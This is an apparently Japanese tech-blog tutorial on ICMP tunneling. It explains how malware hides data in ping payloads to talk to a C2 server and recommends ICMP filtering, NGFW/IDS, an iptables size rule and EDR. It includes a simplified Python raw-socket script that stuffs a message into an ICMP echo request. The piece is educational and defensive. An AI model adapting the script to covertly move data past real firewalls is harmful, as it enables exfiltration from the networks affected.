こんにちは!日々のインフラ運用やセキュリティ対策、本当にお疲れ様です。技術メディアで主筆ライターをしている私ですが、今回はネットワークの奥深くで密かに使われる、ちょっと厄介で、しかし仕組みを知れば「なるほど!」と膝を打つサイバーセキュリティの裏側に迫ります。
インフラやネットワークの世界に一歩踏み出したばかりの頃って、「ファイアウォールをガチガチに固めておけば、外部からの侵入は完全に防げる!」って安心しちゃいますよね。でも、現実はそう甘くありません。攻撃者は、私たちが普段「安全だから」とスルーしている意外な通路を使って、社内に忍び込み、さらに外へとこっそり情報を持ち出そうとします。
今回はその代表例である「ICMPトンネリング」について、難しい専門用語のジャングルに迷い込まないよう、身近な例えを交えながら優しく紐解いていきましょう。一歩ずつ理解していきましょうね!
—
1. ファイアウォールという「厳重な検問所」の盲点
会社のオフィスビルを想像してみてください。エントランスには屈強な警備員がいて、社員証を持たない怪しい人物はもちろん、大きな荷物を持っている人は厳しく中身をチェックされますよね。これがネットワークの世界における「ファイアウォール」です。
通常、ファイアウォールは「Webを見るための通信(HTTPやHTTPS)」や「メールのやり取り」といった、仕事に必須の通信だけを通し、それ以外の見慣れない通信はすべてシャットアウトするように設定されています。
ピング(ping)という名の「お使い」
ところで皆さん、ネットワークの疎通確認で ping というコマンドを使ったことはありませんか?
「今、あそこのサーバーとちゃんと繋がっているかな?」と確認するために、宛て先に向かって「おーい、生きてるかー?」と声をかけ、相手から「おー、生きてるよ!」と返事をもらう、あの通信です。
この ping で使われる通信のルール(プロトコル)を ICMP(Internet Control Message Protocol) と呼びます。
この ICMP は、ネットワークの健康診断やトラブルシューティングに不可欠なため、多くの企業のファイアウォールでは、セキュリティの利便性を考慮して「通り道(穴)」が特別に開けられていることが多いのです。攻撃者は、まさにこの「善意の抜け穴」に目をつけます。
—
2. 郵便配達員に手紙をこっそり隠す「ICMPトンネリング」
ここで、ICMPを使った通信の仕組みを、郵便配達に例えてみましょう。
通常の ping は、こんなやり取りです。
- あなた:「おーい(簡易的な挨拶)」
- 相手:「おーい(簡易的な返事)」
しかし、ICMPの仕組み(パケット)をよく見ると、挨拶の言葉だけでなく、「ちょっとしたメモ用紙(データ部)を一緒に貼り付けて送れるスペース」が用意されています。
通常、このスペースには日付や適当な文字列が入るだけなのですが、悪意あるプログラム(ランサムウェアのバックドアなど)は、このスペースを悪用します。
1. こっそり荷物を詰め込む:社内の感染端末が、外の悪者(C2サーバー:攻撃者の司令塔)に送りたい機密データや命令のやり取りを、細切れにしてICMPのデータ部にこっそり忍ばせます。
2. 検問をすり抜ける:「これはただの健康診断の ping ですよ」という顔をして、ファイアウォールの検問所をスイスイ通過します。
3. 外で荷物を受け取る:外部のC2サーバーに届いたパケットから、隠されたデータが取り出され、新たな指示がまた別のICMPパケットの背中に乗せられて社内に戻ってきます。
これが、まるで地下トンネルを掘って警備の目を盗むように通信を行う「ICMPトンネリング」の正体です。ファイアウォールから見れば、ただの健全な ping のキャッチボールにしか見えないため、非常に厄介なのです。
—
3. 実践!ICMPトンネリングの仕組みをコードで見てみよう
「百聞は一見にしかず」ということで、Pythonを使って、この仕組みがどれほどシンプルに実装できてしまうのかを覗いてみましょう。もちろん、これは仕組みを正しく理解し、防御に活かすための学習用コードです。
以下のコードは、Pythonの低レイヤーソケットを使い、ICMPのエコーリクエスト(ping の要求)のデータ部に任意の文字列(ペイロード)を乗せて送信するイメージです。
import socket
import struct
import time
def create_icmp_packet(payload_message):
"""
ICMPエコーリクエストパケットを組み立てる関数です。
データ部に任意のメッセージ(ペイロード)を詰め込みます。
"""
# ICMPのタイプ (8 = エコーリクエスト), コード (0), チェックサム (初期値0), 識別子, シーケンス番号
icmp_type = 8
icmp_code = 0
icmp_checksum = 0
icmp_identifier = 12345
icmp_sequence = 1
# パケットのヘッダー部分を組み立て
header = struct.pack('!BBHHH', icmp_type, icmp_code, icmp_checksum, icmp_identifier, icmp_sequence)
# ペイロード(隠したいデータや命令)を結合
payload = payload_message.encode('utf-8')
# チェックサムの計算などは簡易化のため省略しますが、
# 本来はこのヘッダーとペイロードを合わせた全体のチェックサムを計算します。
return header + payload
def send_tunnel_packet(target_ip, secret_data):
"""
作成した不正なペイロード入りICMPパケットを指定IPに送信する
"""
# 生ソケット(Raw Socket)を作成。管理者権限が必要です。
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except PermissionError:
print("エラー: 生ソケットを作成するには管理者権限(root等)が必要です。")
return
# ペイロードを乗せたICMPパケットを生成
packet = create_icmp_packet(secret_data)
# 宛て先へ向かってパケットを発射!
sock.sendto(packet, (target_ip, 0))
print(f"[+] 宛先 {target_ip} へ ICMPトンネル経由でデータを送信しました: {secret_data}")
sock.close()
if __name__ == "__main__":
# 実際はここに外部のC2サーバーのIPアドレスや、隠したいコマンドが入ります
target_server = "192.168.1.100"
hidden_payload = "RUN_RANSOMWARE_BACKDOOR"
print("--- ICMPトンネリングのシミュレーションを開始します ---")
send_tunnel_packet(target_server, hidden_payload)
このように、ネットワークの基本ルールを少し応用するだけで、通常のセキュリティフィルターをいとも簡単にバイパスできてしまうことがお分かりいただけたかと思います。
—
4. 現場でできる!ネットワークレベルの現実的な防御策
「じゃあ、ファイアウォールも意味がないってこと?どうやって守ればいいの泣」という声が聞こえてきそうですね。安心してください、現場のプロたちが実践している強力な対策があります。
① 不要なICMPトラフィックの制限(レートリミット)
そもそも、通常の業務において、外部のインターネットと社内ニート間で大量の ping をやり取りする必要性はほとんどありません。
ファイアウォールやルーターの設定で、「外部からの不要なICMPエコーリクエストを原則として破棄(ドロップ)」し、どうしても必要な場合のみ、特定の監視サーバー等に限定して許可しましょう。
② 次世代ファイアウォール(NGFW)やIDS/IPSの導入
昔ながらの「IPアドレスとポート番号」しか見ていないファイアウォールでは、ICMPトンネリングを防ぐのは困難です。
パケットの中身(ペイロードのサイズや異常な通信頻度、不審な文字列パターン)をディープに検査できる 次世代ファイアウォール(NGFW) や IDS/IPS(侵入検知・防御システム) を導入し、「あれ、この ping、やけにデータ部が大きいぞ?」という異常を検知して遮断できるようにしましょう。
以下は、Linuxのパケットフィルター(iptables)などで、異常にサイズが大きいICMPパケットを弾く設定の一例です。
# 【設定例】通常のpingよりも極端にサイズが大きい(例: 100バイト超)ICMPパケットをドロップする
# ※ 通常のエコーリクエストのデータ部は非常に小さいため、サイズ異常を検知する定番の手法です。
iptables -A INPUT -p icmp --icmp-type echo-request -m length --length 100:65535 -j DROP
echo "[i] サイズの大きすぎる怪しいICMPパケットを破棄するルールを適用しました。"
③ 振る舞い検知(EDR)の活用
ネットワークの入り口だけでなく、万が一社内に侵入されて端末がバックドアを確立しようとした際、端末の不審な挙動(OSのコマンドラインから不自然に生ソケットを叩いている等)を検知できるように、端末側に EDR(Endpoint Detection and Response) を導入しておくことが、ランサムウェア対策の最後の砦となります。
—
まとめ:見えないトンネルを見逃さないために
今回は、ICMPトンネリングという、少しディープでスリリングなサイバーセキュリティのテーマについて解説しました。
- ファイアウォールは万能ではなく、日常的に使われる通信(
ICMPなど)の裏を突かれることがある。 pingのデータ部にこっそりデータを隠すことで、検問をすり抜けて外部と通信(バックドアの確立)ができてしまう。- 対策としては、不要なICMP通信の遮断、パケットの中身を見るNGFWの導入、そして端末を守るEDRの組み合わせが不可欠。
セキュリティの基本は、「信じるな、確認せよ(ゼロトラスト)」の精神です。「この通信は安全なはずだ」という思い込みを捨て、ネットワークの隅々で何が起きているのかに目を配ることで、大切なシステムをランサムウェアの脅威から守り抜きましょう!
それでは、また次回の技術解説でお会いしましょう。安全なネットワークライフを!
コメント